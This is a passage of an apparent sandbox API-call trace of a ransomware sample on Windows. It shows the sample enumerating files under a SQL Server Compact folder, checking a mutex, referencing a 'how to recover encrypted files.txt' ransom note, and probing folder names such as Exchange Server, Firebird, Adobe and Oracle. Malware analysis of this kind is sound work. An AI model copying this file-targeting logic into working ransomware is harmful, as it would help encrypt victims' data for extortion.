lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.168] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0b0, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0041.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceqp35.dll", cchWideChar=72, lpMultiByteStr=0x18e08c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceqp35.dllr", lpUsedDefaultChar=0x0) returned 72 [0041.169] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0041.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e0b0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllmpact Edition\\v3.5\\sqlceqp35.dllr", lpUsedDefaultChar=0x0) returned 4 [0041.169] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="SQLCES~1.DLL")) returned 1 [0041.169] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f110 | out: lpLocalFileTime=0x18f110) returned 1 [0041.169] FileTimeToDosDateTime (in: lpFileTime=0x18f110, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.169] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.169] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.169] GlobalUnlock (hMem=0x44000c) returned 0 [0041.169] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.169] GlobalLock (hMem=0x440004) returned 0x550178 [0041.169] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.169] GlobalUnlock (hMem=0x44000c) returned 0 [0041.169] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.169] GlobalUnlock (hMem=0x440004) returned 0 [0041.169] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.169] CharLowerBuffW (in: lpsz="sqlcese35.dll", cchLength=0xd | out: lpsz="sqlcese35.dll") returned 0xd [0041.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.170] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0b0, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0041.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlcese35.dll", cchWideChar=72, lpMultiByteStr=0x18e08c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlcese35.dllr", lpUsedDefaultChar=0x0) returned 72 [0041.170] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0041.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e0b0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllmpact Edition\\v3.5\\sqlcese35.dllr", lpUsedDefaultChar=0x0) returned 4 [0041.170] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="SQLCES~1.DLL")) returned 0 [0041.170] GetLastError () returned 0x12 [0041.170] FindClose (in: hFindFile=0x5251d8 | out: hFindFile=0x5251d8) returned 1 [0041.171] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.171] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.171] GlobalUnlock (hMem=0x440004) returned 0 [0041.171] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.171] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.171] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.171] GlobalUnlock (hMem=0x440004) returned 0 [0041.171] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.171] GlobalUnlock (hMem=0x44000c) returned 0 [0041.171] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61c48, cbMultiByte=3, lpWideCharStr=0x18e124, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0041.171] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*.*", lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5251d8 [0041.172] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f114 | out: lpLocalFileTime=0x18f114) returned 1 [0041.172] FileTimeToDosDateTime (in: lpFileTime=0x18f114, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.172] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.172] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.172] GlobalUnlock (hMem=0x44000c) returned 0 [0041.172] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.172] GlobalLock (hMem=0x440004) returned 0x550178 [0041.172] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.172] GlobalUnlock (hMem=0x44000c) returned 0 [0041.172] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.172] GlobalUnlock (hMem=0x440004) returned 0 [0041.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.173] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.173] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f110 | out: lpLocalFileTime=0x18f110) returned 1 [0041.173] FileTimeToDosDateTime (in: lpFileTime=0x18f110, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.173] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.173] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.173] GlobalUnlock (hMem=0x440004) returned 0 [0041.173] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.173] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.173] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.173] GlobalUnlock (hMem=0x440004) returned 0 [0041.173] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.173] GlobalUnlock (hMem=0x44000c) returned 0 [0041.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.173] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0041.173] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f110 | out: lpLocalFileTime=0x18f110) returned 1 [0041.173] FileTimeToDosDateTime (in: lpFileTime=0x18f110, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.173] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.173] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.173] GlobalUnlock (hMem=0x44000c) returned 0 [0041.173] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.173] GlobalLock (hMem=0x440004) returned 0x550178 [0041.173] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.173] GlobalUnlock (hMem=0x44000c) returned 0 [0041.173] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.173] GlobalUnlock (hMem=0x440004) returned 0 [0041.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.174] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.174] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.174] GlobalUnlock (hMem=0x440004) returned 0 [0041.174] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.174] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.174] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.174] GlobalUnlock (hMem=0x440004) returned 0 [0041.174] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.174] GlobalUnlock (hMem=0x44000c) returned 0 [0041.174] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.174] SysReAllocStringLen (in: pbstr=0x18f110*=0x0, psz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop", len=0x42 | out: pbstr=0x18f110*="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop") returned 1 [0041.174] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.174] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.174] GlobalUnlock (hMem=0x44000c) returned 0 [0041.174] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.174] GlobalLock (hMem=0x440004) returned 0x550178 [0041.174] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.174] GlobalUnlock (hMem=0x44000c) returned 0 [0041.174] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.174] GlobalUnlock (hMem=0x440004) returned 0 [0041.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=26, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\㡺眵葖睘") returned 26 [0041.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\Microsoft\\Exchange Server", lpFindFileData=0x18eb8c | out: lpFindFileData=0x18eb8c*(dwFileAttributes=0x7758b6ca, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꤦR꣺R企@\x18㶬Q\x18\x1b")) returned 0xffffffff [0041.174] GetLastError () returned 0x3 [0041.175] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop\\") returned 0x43 [0041.175] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18dd90, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0041.175] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=21, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\㡺眵葖睘") returned 21 [0041.175] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\Microsoft SQL Server", lpFindFileData=0x18eb8c | out: lpFindFileData=0x18eb8c*(dwFileAttributes=0x7758b6ca, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꟜR䱠@꡴R企@\x18㺄Q\x181")) returned 0xffffffff [0041.175] GetLastError () returned 0x2 [0041.175] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop\\") returned 0x43 [0041.175] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18dd90, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0041.175] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=9, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\㡺眵葖睘") returned 9 [0041.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\Firebird", lpFindFileData=0x18eb8c | out: lpFindFileData=0x18eb8c*(dwFileAttributes=0x7758b6ca, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꟜR䱠@锴R企@\x18䗔S\x18;")) returned 0xffffffff [0041.176] GetLastError () returned 0x2 [0041.176] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop\\") returned 0x43 [0041.176] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=9, lpWideCharStr=0x18dd90, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0041.176] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=8, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\㡺眵葖睘") returned 8 [0041.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\MSSQL.1", lpFindFileData=0x18eb8c | out: lpFindFileData=0x18eb8c*(dwFileAttributes=0x7758b6ca, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꟜR䱠@꡴R企@\x18䙌R\x18D")) returned 0xffffffff [0041.176] GetLastError () returned 0x2 [0041.176] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop\\") returned 0x43 [0041.176] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=8, lpWideCharStr=0x18dd90, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0041.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=37, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0041.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb8c | out: lpFindFileData=0x18eb8c*(dwFileAttributes=0x7758b6ca, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꟜR䱠@锴R企@\x18ꓤR\x18j")) returned 0xffffffff [0041.177] GetLastError () returned 0x2 [0041.177] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop\\") returned 0x43 [0041.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd90, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0041.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=6, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0041.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\Adobe", lpFindFileData=0x18eb8c | out: lpFindFileData=0x18eb8c*(dwFileAttributes=0x7758b6ca, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꟜR䱠@雄R企@\x18䗔S\x18q")) returned 0xffffffff [0041.177] GetLastError () returned 0x2 [0041.177] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop\\") returned 0x43 [0041.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=6, lpWideCharStr=0x18dd90, cchWideChar=2047 | out: lpWideCharStr="adobe\\ꓠR\x80") returned 6 [0041.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=7, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0041.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\Oracle", lpFindFileData=0x18eb8c | out: lpFindFileData=0x18eb8c*(dwFileAttributes=0x7758b6ca, ftCreationTime.dwLowDateTime=0x0, 